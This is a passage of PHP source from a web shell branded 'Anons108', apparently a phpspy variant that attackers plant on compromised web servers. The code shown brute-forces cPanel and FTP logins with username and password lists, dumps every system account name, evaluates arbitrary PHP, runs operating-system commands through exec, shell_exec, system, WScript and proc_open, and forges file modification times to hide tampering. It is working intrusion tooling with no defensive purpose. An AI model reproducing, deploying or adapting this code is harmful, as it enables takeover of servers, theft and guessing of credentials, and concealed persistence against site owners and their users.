2238<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
2239<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2240<div align='center'><br>
2241<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
2242<tr>
2243<td align='center'>
2244<b>Username</b></td>
2245<td>
2246<p align='center'>
2247<b>Password</b></td>
2248</tr>
2249</table>
2250<p align='center'>
2251<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2252$i = 0;
2253while ($i < 60000) {
2254
2255 $line = posix_getpwuid($i);
2256 if (!empty($line)) {
2257
2258 while (list ($key, $vba_etcpwd) = each($line)){
2259 echo "".$vba_etcpwd."\n";
2260 break;
2261 }
2262
2263 }
2264
2265 $i++;
2266}
2267echo "
2268</textarea>
2269<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2270<br>
2271<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2272<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2273</td></tr></table></td></tr></form><p align= 'left'>";
2274?>
2275<?php
2276function ftp_check($host,$user,$pass,$timeout){
2277$ch = curl_init();
2278curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2279curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2280curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2281curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2282curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2283curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2284curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2285$data = curl_exec($ch);
2286if ( curl_errno($ch) == 28 ) {
2287
2288print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2289exit;}
2290
2291elseif ( curl_errno($ch) == 0 ){
2292
2293p("<b>[ attack@vbateam.net ]# </b>
2294<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
2295}
2296curl_close($ch);}
2297
2298function cpanel_check($host,$user,$pass,$timeout){
2299$ch = curl_init();
2300curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2301curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2302curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2303curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2304curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2305curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2306$data = curl_exec($ch);
2307if ( curl_errno($ch) == 28 ) {
2308print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2309exit;}
2310elseif ( curl_errno($ch) == 0 ){
2311
2312p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
2313
2314if(isset($submit) && !empty($submit)){
2315
2316$userlist = explode ("\n" , $users );
2317$passlist = explode ("\n" , $pass );
2318p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
2319foreach ($userlist as $user) {
2320$_user = trim($user);
2321foreach ($passlist as $password ) {
2322$_pass = trim($password);
2323if($option == "ftp"){
2324ftp_check($target,$_user,$_pass,$connect_timeout);
2325}
2326if ($option == "cpanel")
2327{
2328cpanel_check($target,$_user,$_pass,$connect_timeout);
2329}
2330}
2331}
2332}
2333
2334 formfoot();
2335}
2336
2337
2338
2339
2340
2341
2342elseif ($action == 'etcpwd') {
2343formhead(array('title'=>'Get /etc/passwd'));
2344 makehide('action','etcpwd');
2345 makehide('dir',$nowpath);
2346$i = 0;
2347 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
2348while ($i < 60000) {
2349
2350 $line = posix_getpwuid($i);
2351 if (!empty($line)) {
2352
2353 while (list ($key, $vba_etcpwd) = each($line)){
2354 echo "".$vba_etcpwd."\n";
2355 break;
2356 }
2357
2358 }
2359
2360 $i++;
2361}
2362 echo "</textarea></p>";
2363 formfoot();
2364}
2365
2366elseif ($action == 'eval') {
2367 $phpcode = trim($phpcode);
2368 if($phpcode){
2369 if (!preg_match('#<\?#si', $phpcode)) {
2370 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2371 }
2372 eval("?".">$phpcode<?");
2373 }
2374 formhead(array('title'=>'Eval PHP Code'));
2375 makehide('action','eval');
2376 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2377 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
2378 formfooter();
2379}//end eval
2380
2381elseif ($action == 'editfile') {
2382 if(file_exists($opfile)) {
2383 $fp=@fopen($opfile,'r');
2384 $contents=@fread($fp, filesize($opfile));
2385 @fclose($fp);
2386 $contents=htmlspecialchars($contents);
2387 }
2388 formhead(array('title'=>'Create / Edit File'));
2389 makehide('action','file');
2390 makehide('dir',$nowpath);
2391 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2392 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2393 formfooter();
2394}//end editfile
2395
2396elseif ($action == 'newtime') {
2397 $opfilemtime = @filemtime($opfile);
2398 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2399 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2400 formhead(array('title'=>'Clone file was last modified time'));
2401 makehide('action','file');
2402 makehide('dir',$nowpath);
2403 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2404 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2405 formfooter();
2406 formhead(array('title'=>'Set last modified'));
2407 makehide('action','file');
2408 makehide('dir',$nowpath);
2409 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2410 p('<p>Instead »');
2411 p('year:');
2412 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2413 p('month:');
2414 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2415 p('day:');
2416 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2417 p('hour:');
2418 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2419 p('minute:');
2420 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2421 p('second:');
2422 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2423 p('</p>');
2424 formfooter();
2425}//end newtime
2426
2427elseif ($action == 'shell') {
2428 if (IS_WIN && IS_COM) {
2429 if($program && $parameter) {
2430 $shell= new COM('Shell.Application');
2431 $a = $shell->ShellExecute($program,$parameter);
2432 m('Program run has '.(!$a ? 'success' : 'fail'));
2433 }
2434 !$program && $program = 'c:\windows\system32\cmd.exe';
2435 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2436 formhead(array('title'=>'Execute Program'));
2437 makehide('action','shell');
2438 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2439 p('<p>');
2440 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2441 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2442 p('</p>');
2443 formfoot();
2444 }
2445 formhead(array('title'=>'Execute Command'));
2446 makehide('action','shell');
2447 if (IS_WIN && IS_COM) {
2448 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2449 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2450 }
2451 p('<p>');
2452 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
2453 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2454 p('</p>');
2455 formfoot();
2456
2457 if ($command) {
2458 p('<hr width="100%" noshade /><pre>');
2459 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2460 $wsh = new COM('WScript.shell');
2461 $exec = $wsh->exec('cmd.exe /c '.$command);
2462 $stdout = $exec->StdOut();
2463 $stroutput = $stdout->ReadAll();
2464 echo $stroutput;
2465 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2466 $descriptorspec = array(
2467 0 => array('pipe', 'r'),
2468 1 => array('pipe', 'w'),
2469 2 => array('pipe', 'w')
2470 );
2471 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2472 if (is_resource($process)) {
2473 fwrite($pipes[0], $command."\r\n");
2474 fwrite($pipes[0], "exit\r\n");
2475 fclose($pipes[0]);
2476 while (!feof($pipes[1])) {
2477 echo fgets($pipes[1], 1024);
2478 }
2479 fclose($pipes[1]);
2480 while (!feof($pipes[2])) {
2481 echo fgets($pipes[2], 1024);
2482 }
2483 fclose($pipes[2]);
2484 proc_close($process);
2485 }
2486 } else {
2487 echo(execute($command));
2488 }
2489 p('</pre>');
2490 }
2491}//end shell
2492
2493elseif ($action == 'phpenv') {
2494 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2495 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2496 !$dis_func && $dis_func = 'No';
2497 $info = array(
2498 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2499 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2500 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2501 4 => array('Server OS',PHP_OS),
2502 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2503 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2504 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2505 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2506 9 => array('The file path',__FILE__),
2507
2508 10 => array('PHP Version',PHP_VERSION),
2509 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2510 12 => array('Safe Mode',getcfg('safe_mode')),
2511 13 => array('Administrator',$adminmail),
2512 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2513 15 => array('enable_dl',getcfg('enable_dl')),
2514 16 => array('display_errors',getcfg('display_errors')),
2515 17 => array('register_globals',getcfg('register_globals')),
2516 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2517 19 => array('memory_limit',getcfg('memory_limit')),
2518 20 => array('post_max_size',getcfg('post_max_size')),
2519 21 => array('upload_max_filesize',$upsize),
2520 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2521 23 => array('disable_functions',$dis_func),
2522 );
2523
2524 if($phpvarname) {
2525 m($phpvarname .' : '.getcfg($phpvarname));
2526 }
2527
2528 formhead(array('title'=>'Server environment'));
2529 makehide('action','phpenv');
2530 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2531 formfooter();
2532
2533 $hp = array(0=> 'Server', 1=> 'PHP');
2534 for($a=0;$a<2;$a++) {
2535 p('<h2>'.$hp[$a].' »</h2>');
2536 p('<ul class="info">');
2537 if ($a==0) {
2538 for($i=1;$i<=9;$i++) {
2539 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2540 }
2541 } elseif ($a == 1) {
2542 for($i=10;$i<=23;$i++) {
2543 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2544 }
2545 }
2546 p('</ul>');
2547 }
2548}//end phpenv
2549
2550else {
2551 m('Undefined Action');
2552}
2553
2554?>
2555</td></tr></table>
2556
2557<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
2558 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2559 Copyright (C) 2015 <B></B> - Develop by <a href=https://www.facebook.com/Anons108 target=_blank><B>Anons108 </B></a> - <B>All Rights Reserved.</B>
2560</div>
2561</body>
2562</html>
2563
2564<?php
2565
2566/*======================================================
2567Show info shell
2568======================================================*/
2569
2570function m($msg) {
2571 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
2572 echo $msg;
2573 echo '</div>';
2574}
2575function scookie($key, $value, $life = 0, $prefix = 1) {
2576 global $admin, $timestamp, $_SERVER;
2577 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2578 $life = $life ? $life : $admin['cookielife'];
2579 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2580 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2581}
2582function multi($num, $perpage, $curpage, $tablename) {
2583 $multipage = '';
2584 if($num > $perpage) {
2585 $page = 10;
2586 $offset = 5;
2587 $pages = @ceil($num / $perpage);
2588 if($page > $pages) {
2589 $from = 1;
2590 $to = $pages;
2591 } else {
2592 $from = $curpage - $offset;
2593 $to = $curpage + $page - $offset - 1;
2594 if($from < 1) {
2595 $to = $curpage + 1 - $from;
2596 $from = 1;
2597 if(($to - $from) < $page && ($to - $from) < $pages) {
2598 $to = $page;
2599 }
2600 } elseif($to > $pages) {
2601 $from = $curpage - $pages + $to;
2602 $to = $pages;
2603 if(($to - $from) < $page && ($to - $from) < $pages) {
2604 $from = $pages - $page + 1;
2605 }
2606 }
2607 }
2608 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
2609 for($i = $from; $i <= $to; $i++) {
2610 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
2611 }
2612 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
2613 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
2614 }
2615 return $multipage;
2616}
2617// Login page
2618
2619function loginpage() {
2620
2621?>
2622
2623<html>
2624
2625<head>
2626
2627
2628
2629
2630
2631
2632
2633 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
2634<div class="clock">
2635<div id="Date"></div>
2636 <ul>
2637 <li id="hours"></li>
2638 <li id="point">:</li>
2639 <li id="min"></li>
2640 <li id="point">:</li>
2641 <li id="sec"></li>
2642 </ul>
2643<body bgcolor=black background=http://i.imgur.com/GY0AXd9.jpg >
2644</div>
2645 <style type="text/css">
2646 @font-face {
2647 font-family: 'BebasNeueRegular';
2648 src: url('BebasNeue-webfont.eot');
2649 src: url('BebasNeue-webfont.eot?#iefix') format('embedded-opentype'),
2650 url('BebasNeue-webfont.woff') format('woff'),
2651 url('BebasNeue-webfont.ttf') format('truetype'),
2652 url('BebasNeue-webfont.svg#BebasNeueRegular') format('svg');
2653 font-weight: normal;
2654 font-style: normal;
2655}
2656.clock {
2657 width: 800px;
2658 margin: 0 auto;
2659 padding: 30px;
2660 border: 1px solid #333;
2661 color: #black;
2662}
2663
2664#Date {
2665 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2666 font-size: 36px;
2667 text-align: center;
2668 text-shadow: 0 0 5px #00c6ff;
2669}
2670
2671ul {
2672 width: 800px;
2673 margin: 0 auto;
2674 padding: 0px;
2675 list-style: none;
2676 text-align: center;
2677}
2678
2679ul li {
2680 display: inline;
2681 font-size: 10em;
2682 text-align: center;
2683 font-family: 'BebasNeueRegular', Arial, Helvetica, sans-serif;
2684 text-shadow: 0 0 5px #00c6ff;
2685}
2686
2687#point {
2688 position: relative;
2689 -moz-animation: mymove 1s ease infinite;
2690 -webkit-animation: mymove 1s ease infinite;
2691 padding-left: 10px;
2692 padding-right: 10px;
2693}
2694@-webkit-keyframes mymove {
2695 0% {opacity: 1.0;
2696 text-shadow: 0 0 20px #00c6ff;
2697}
2698
269950% {
2700 opacity: 0;
2701 text-shadow: none;
2702}
2703
2704100% {
2705 opacity: 1.0;
2706 text-shadow: 0 0 20px #00c6ff;
2707}
2708}
2709
2710@-moz-keyframes mymove {
2711 0% {
2712 opacity: 1.0;
2713 text-shadow: 0 0 20px #00c6ff;
2714 }
2715
2716 50% {
2717 opacity: 0;
2718 text-shadow: none;
2719 }
2720
2721 100% {
2722 opacity: 1.0;
2723 text-shadow: 0 0 20px #00c6ff;
2724 };
2725}
2726</style>
2727<script type="text/javascript" src="http://code.jquery.com/jquery-1.6.4.min.js"></script>
2728<script type="text/javascript">
2729$(document).ready(function() {
2730// Tao 2 mang chua ten ngay thang
2731var monthNames = [ "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December" ];
2732var dayNames= ["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
2733
2734// Tao moi doi tuong Date()
2735var newDate = new Date();
2736// Lay gia tri thoi gian hien tai
2737newDate.setDate(newDate.getDate());
2738// Xuat ngay thang, nam
2739$('#Date').html(dayNames[newDate.getDay()] + " " + newDate.getDate() + ' ' + monthNames[newDate.getMonth()] + ' ' + newDate.getFullYear());
2740
2741setInterval( function() {
2742 // lay gia tri giay trong doi tuong Date()
2743 var seconds = new Date().getSeconds();
2744 // Chen so 0 vao dang truoc gia tri giay
2745 $("#sec").html(( seconds < 10 ? "0" : "" ) + seconds);
2746 },1000);
2747
2748setInterval( function() {
2749 // Tuong tu lay gia tri phut
2750 var minutes = new Date().getMinutes();
2751 // Chen so 0 vao dang truoc gia tri phut neu gia tri hien tai nho hon 10
2752 $("#min").html(( minutes < 10 ? "0" : "" ) + minutes);
2753 },1000);
2754
2755setInterval( function() {
2756 // Lay gia tri gio hien tai
2757 var hours = new Date().getHours();
2758 // Chen so 0 vao truoc gia tri gio neu gia tri nho hon 10
2759 $("#hours").html(( hours < 10 ? "0" : "" ) + hours);
2760 }, 1000);
2761});
2762</script>
2763<div align="center">
2764 <div>
2765 <form method="POST" action="" class="form-3">
2766 <p class="clearfix">
2767 <label for="login">Username</label>
2768 <input type="text" placeholder="Username">
2769 </p>
2770 <p class="clearfix">
2771 <label for="password">Password</label>
2772 <input type="password" name="password" id="password" placeholder="Password">
2773 <input type="hidden" name="doing" value="login">
2774 <input type="submit" name="submit" value="Anons108">
2775 </p>
2776 </form>
2777 <br>
2778 </font></div>
2779
2780 </font></div>
2781 <style>
2782 /* GLOBALS */
2783
2784*,
2785*:after,
2786*:before {
2787 -webkit-box-sizing: border-box;
2788 -moz-box-sizing: border-box;
2789 -ms-box-sizing: border-box;
2790 -o-box-sizing: border-box;
2791 box-sizing: border-box;
2792 padding: 0;
2793 margin: 0;
2794}
2795
2796.clearfix:after {
2797 content: "";
2798 display: table;
2799 clear: both;
2800}
2801
2802.form-3 {
2803 font-family: 'Ubuntu', 'Lato', sans-serif;
2804 font-weight: 400;
2805 /* Size and position */
2806 width: 300px;
2807 position: relative;
2808 margin: 60px auto 30px;
2809 padding: 10px;
2810 overflow: hidden;
2811
2812 /* Styles */
2813 background: #white;
2814 border-radius: 0.4em;
2815 border: 1px solid #191919;
2816 box-shadow:
2817 inset 0 0 2px 1px rgba(255,255,255,0.08),
2818 0 16px 10px -8px rgba(0, 0, 0, 0.6);
2819}
2820
2821.form-3 label {
2822 /* Size and position */
2823 width: 50%;
2824 float: left;
2825 padding-top: 9px;
2826
2827 /* Styles */
2828 color: #ddd;
2829 font-size: 12px;
2830 text-transform: uppercase;
2831 letter-spacing: 1px;
2832 text-shadow: 0 1px 0 #000;
2833 text-indent: 10px;
2834 font-weight: 700;
2835 cursor: pointer;
2836}
2837
2838.form-3 input[type=text],
2839.form-3 input[type=password] {
2840 /* Size and position */
2841 width: 50%;
2842 float: left;
2843 padding: 8px 5px;
2844 margin-bottom: 10px;
2845 font-size: 12px;
2846
2847 /* Styles */
2848 background: linear-gradient(#1f2124, #27292c);
2849 border: 1px solid #000;
2850 box-shadow:
2851 0 1px 0 rgba(255,255,255,0.1);
2852 border-radius: 3px;
2853
2854 /* Font styles */
2855 font-family: 'Ubuntu', 'Lato', sans-serif;
2856 color: #white;
2857
2858}
2859
2860.form-3 input[type=text]:hover,
2861.form-3 input[type=password]:hover,
2862.form-3 label:hover ~ input[type=text],
2863.form-3 label:hover ~ input[type=password] {
2864 background: #white;
2865}
2866
2867.form-3 input[type=text]:focus,
2868.form-3 input[type=password]:focus {
2869 box-shadow: inset 0 0 2px #000;
2870 background: #white;
2871 border-color: #51cbee;
2872 outline: none; /* Remove Chrome outline */
2873}
2874
2875.form-3 p:nth-child(3),
2876.form-3 p:nth-child(4) {
2877 float: left;
2878 width: 50%;
2879}
2880
2881.form-3 label[for=remember] {
2882 width: auto;
2883 float: none;
2884 display: inline-block;
2885 text-transform: capitalize;
2886 font-size: 11px;
2887 font-weight: 400;
2888 letter-spacing: 0px;
2889 text-indent: 2px;
2890}
2891
2892.form-3 input[type=checkbox] {
2893 margin-left: 10px;
2894 vertical-align: middle;
2895}
2896
2897.form-3 input[type=submit] {
2898 /* Width and position */
2899 width: 100%;
2900 padding: 8px 5px;
2901
2902 /* Styles */
2903 border: 1px solid #0273dd; /* Fallback */
2904 border: 1px solid rgba(0,0,0,0.4);
2905 box-shadow:
2906 inset 0 1px 0 rgba(255,255,255,0.3),
2907 inset 0 10px 10px rgba(255,255,255,0.1);
2908 border-radius: 3px;
2909 background: #38a6f0;
2910 cursor:pointer;
2911
2912 /* Font styles */
2913 font-family: 'Ubuntu', 'Lato', sans-serif;
2914 color: white;
2915 font-weight: 700;
2916 font-size: 15px;
2917 text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
2918}
2919
2920.form-3 input[type=submit]:hover {
2921 box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
2922}
2923
2924}
2925
2926/* Small flash */
2927.form-3:before {
2928 /* Size and position */
2929 content: "";
2930 width: 8px;
2931 height: 5px;
2932 position: absolute;
2933 left: 34%;
2934 top: -7px;
2935
2936 /* Styles */
2937 border-radius: 50%;
2938 box-shadow: 0 0 6px 4px #fff;
2939}
2940
2941.form-3 p:nth-child(1):before{
2942 /* Size and position */
2943 content: "";
2944 width: 250px;
2945 height: 100px;
2946 position: absolute;
2947 top: 0;
2948 left: 45px;
2949
2950 /* Styles */
2951 transform: rotate(75deg);
2952 background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
2953 pointer-events: none;
2954}
2955
2956.no-pointerevents .form-3 p:nth-child(1):before {
2957 display: none;
2958}
2959</style>
2960<aside class="container">
2961 <input type="checkbox" id="menu__trigger">
2962 <section class="menu">
2963 <!--<label for="menu__trigger" class="entypo-cancel"></label>-->
2964 <nav>
2965 <a href="https://www.facebook.com/profile.php?id=100011074965700">1. Facebook</a>
2966 <a href="https://www.facebook.com/profile.php?id=100011074965700">2. Clone</a>
2967 <a href="http://google.com">3. Website</a>
2968 <a href="https://www.youtube.com/channel/UCiQ9ZT6xuvtRQDKfzHRrehQ">4. Youtube</a>
2969 <a href="https://google.com">5. Google</a>
2970 <a href="/">6. Trang chủ</a>
2971 </nav>
2972 </section>
2973
2974 <section class="content">
2975 <label for="menu__trigger" class="entypo-menu"></label>
2976 </section>
2977</aside>
2978<style>
2979[class*="entypo-"]:before {
2980 font-family: 'entypo', sans-serif;
2981}
2982[class*="entypo-"]:before {
2983 font-family: 'entypo', sans-serif;
2984}
2985
2986html {
2987 min-height: 100%;
2988 min-width: 100%;
2989}
2990html body {
2991 min-height: 100%;
2992 min-width: 100%;
2993 font-family: 'Lato', sans-serif;
2994}
2995
2996html body input[type="checkbox"] {
2997 position: absolute;
2998 height: 0;
2999 width: 0;
3000 display: none;
3001}
3002html body input[type="checkbox"]:checked ~ .menu nav a {
3003 -webkit-transform: translate3d(0px, 0, 0) rotateY(0deg);
3004 transform: translate3d(0px, 0, 0) rotateY(0deg);
3005 -webkite-transform-style: preserve-3d;
3006 transform-style: preserve-3d;
3007 -webkit-transition: all .4s ease-in-out;
3008 transition: all .4s ease-in-out;
3009 background: #252525;
3010 color: #fff;
3011}
3012html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(2) {
3013 -webkit-transition-delay: .1s;
3014 transition-delay: .1s;
3015}
3016html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(3) {
3017 -webkit-transition-delay: .2s;
3018 transition-delay: .2s;
3019}
3020html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(4) {
3021 -webkit-transition-delay: .3s;
3022 transition-delay: 0.3s;
3023}
3024html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(5) {
3025 -webkit-transition-delay: .4s;
3026 transition-delay: .4s;
3027}
3028html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(6) {
3029 -webkit-transition-delay: .5s;
3030 transition-delay: 0.5s;
3031}
3032html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(7) {
3033 -webkit-transition-delay: .6s;
3034 transition-delay: 0.6s;
3035}
3036html body input[type="checkbox"]:checked ~ .menu nav a:nth-child(8) {
3037 -webkit-transition-delay: .7s;
3038 transition-delay: 0.7s;
3039}
3040html body section.menu {
3041 position: fixed;
3042 z-index: 10;
3043 top: 0;
3044 bottom: 0;
3045 min-height: 100%;
3046}
3047html body section.menu nav {
3048 padding-top: 4rem;
3049 -webkit-perspective: 20rem;
3050 perspective: 20rem;
3051}
3052html body section.menu nav a {
3053 display: block;
3054 width: 12rem;
3055 padding: 1.25rem 0rem 1.25rem 1.75rem;
3056 background: #222;
3057 border-bottom: 1px solid #2a2a2a;
3058 box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15), inset 2px 0 0 #fff;
3059 color: #fff;
3060 letter-spacing: 1.5px;
3061 font-weight: 300;
3062 font-size: 1.25rem;
3063 text-decoration: none;
3064 -webkit-transform: translate3d(-100%, 0, 0) rotateY(90deg);
3065 transform: translate3d(-100%, 0, 0) rotateY(90deg);
3066 -webkit-transform-origin: 0% 50%;
3067 transform-origin: 0% 50%;
3068 -webkit-transform-style: preserve-3d;
3069 transform-style: preserve-3d;
3070 -webkit-transition: all .25s ease-in-out;
3071 transition: all .25s ease-in-out;
3072}
3073html body section.menu nav a:nth-child(1) {
3074 -webkit-transition-delay: .235s;
3075 transition-delay: .235s;
3076}
3077html body section.menu nav a:nth-child(2) {
3078 -webkit-transition-delay: .2s;
3079 transition-delay: .2s;
3080}
3081html body section.menu nav a:nth-child(3) {
3082 -webkit-transition-delay: .165s;
3083 transition-delay: .165s;
3084}
3085html body section.menu nav a:nth-child(4) {
3086 -webkit-transition-delay: .13s;
3087 transition-delay: .13s;
3088}
3089html body section.menu nav a:nth-child(5) {
3090 -webkit-transition-delay: .095s;
3091 transition-delay: .095s;
3092}
3093html body section.menu nav a:nth-child(6) {
3094 -webkit-transition-delay: .06s;
3095 transition-delay: .06s;
3096}
3097html body section.menu nav a:nth-child(7) {
3098 -webkit-transition-delay: .25s;
3099 transition-delay: .025s;
3100}
3101html body section.content label {
3102 position: fixed;
3103 z-index: 1000;
3104 padding: 1rem 1.5rem;
3105 background: #222;
3106 font-size: 2rem;
3107 line-height: 2rem;
3108 color: #fff;
3109 cursor: pointer;
3110}
3111html body section.content h1 {
3112 display: table-cell;
3113 vertical-align: middle;
3114 text-align: center;
3115 font-size: 3rem;
3116 letter-spacing: 1px;
3117 color: #fff;
3118}
3119</style>
3120<style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/smilies/smi-3/smi211.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2011/10/13/trollface-problem-coolface-rage-face-comics.html" target="_blank" title="Trollface / Problem? / Coolface - Rage Face Comics"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Trollface / Problem? / Coolface - Rage Face Comics" style="position:absolute; top: 0px; right: 0px;" /></a>
3121
3122<BR>
3123
3124
3125<?php
3126
3127echo "".$err_mess."";
3128
3129?>
3130
3131
3132
3133</div>
3134
3135
3136
3137
3138
3139 </fieldset>
3140
3141
3142
3143
3144
3145
3146
3147</head>
3148 <iframe scrolling="no" width="0" height="0" src="http://mp3.zing.vn/embed/song/ZW7O68U6?start=true" frameborder="0" allowfullscreen="true"></iframe>
3149</html>
3150
3151
3152
3153
3154
3155<?php
3156
3157 exit;
3158
3159
3160
3161}//end loginpage
3162
3163function execute($cfe) {
3164 $res = '';
3165 if ($cfe) {
3166 if(function_exists('exec')) {
3167 @exec($cfe,$res);
3168 $res = join("\n",$res);
3169 } elseif(function_exists('shell_exec')) {
3170 $res = @shell_exec($cfe);
3171 } elseif(function_exists('system')) {
3172 @ob_start();
3173 @system($cfe);
3174 $res = @ob_get_contents();
3175 @ob_end_clean();
